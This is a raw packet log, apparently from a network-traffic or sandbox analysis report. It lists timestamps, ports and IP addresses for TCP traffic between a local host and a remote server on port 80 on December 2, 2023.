Dec 2, 2023 18:01:44.335412025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.335418940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.335433006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.335433960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.335442066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.335588932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336044073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336054087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336064100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336119890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336218119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336226940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336236000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336249113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336256027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336267948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336292028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336332083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336380959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336390018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336400032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336414099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336422920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336430073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336437941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336447001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336453915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336477995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336477995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336477995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336509943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336575031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336586952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336595058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336608887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336616993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336631060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336637974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336647034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336658955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336683989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336692095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336723089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336817026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336878061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336886883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336894035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336904049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336911917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336919069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336934090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336941957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336950064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.336957932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336957932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.336975098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.337054968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337065935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337073088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337089062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337097883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337105036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337114096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337121010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337131023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337138891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.337147951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.337147951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.337251902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.345710039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.349584103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.563344955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.613411903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.822652102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.824244022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.053581953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.070710897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.114200115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.114201069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.344052076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362505913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362658024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362684011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362692118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362705946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362714052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362726927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362734079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362760067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.362760067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.362792015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.362802982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362812042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362850904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.362911940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362943888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362951040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362962961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362971067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.362998962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363014936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363023043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363034964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363066912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363066912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363090038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363097906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363110065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363137007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363162041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363169909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363182068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363189936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363212109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363281012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363306046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363313913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363377094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363384962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363396883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363420010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363420010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363445044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363452911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363495111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363495111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363522053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363528967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363540888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363548994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363555908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363593102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363593102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363620043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363627911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363641024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363749027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363764048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363773108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363780975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363787889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363814116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363856077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.363941908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363950968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363962889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363987923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.363996029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364008904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364016056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364028931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364041090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364041090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364067078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364068985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364068985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364077091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364084959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364092112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364128113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364145041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364176035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364185095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364304066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364311934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364324093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364331961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364353895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364353895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364372969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364413977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364425898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364433050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364440918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364454985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364456892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364456892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364506960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364506960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364533901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364542007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364554882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364588976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364612103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364620924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364628077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364681005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364681005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364758968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364767075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364778996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364787102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364826918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364855051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364860058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364866972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364880085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364887953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364895105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364907980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364916086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364938021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364938021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364963055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364969015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.364972115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.364979982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365008116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365025043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365114927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365115881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365124941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365139008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365147114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365170002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365187883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365195990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365204096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365216970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365236998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365255117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365355968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365364075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365375996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365385056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365427971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365427971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365449905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365514994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365533113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365570068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365577936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365590096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365597963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365609884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365631104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365631104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365653038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365658998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365662098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365708113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365768909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365792036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365799904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365853071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365860939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365889072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365892887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365897894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365906000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365907907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365915060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365945101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.365969896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365978003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.365983963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366024017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366044998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366054058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366065979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366209984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366210938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366220951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366228104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366234064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366241932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366249084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366255999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366278887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366278887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366302967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366303921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366313934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366395950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366420031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366430044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366442919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366499901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366520882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366529942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366542101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366580963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366605043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366612911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366626024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366632938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366667986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366667986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366688967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366698027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366733074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366770029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366777897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366801977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366810083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366816998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366825104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366848946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366848946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366874933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366892099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366918087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366931915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366959095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.366997957 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.366997957 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367024899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367034912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367046118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367053986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367098093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367098093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367120981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367130041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367142916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367151022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367188931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367188931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367260933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367269993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367417097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367443085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367451906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367465973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367472887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367485046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367491961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367494106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367500067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367515087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367536068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367539883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367539883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367554903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367562056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367571115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367592096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367592096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.367624998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.367630005 CET	49713	80	192.168.2.7	91.215.85.17
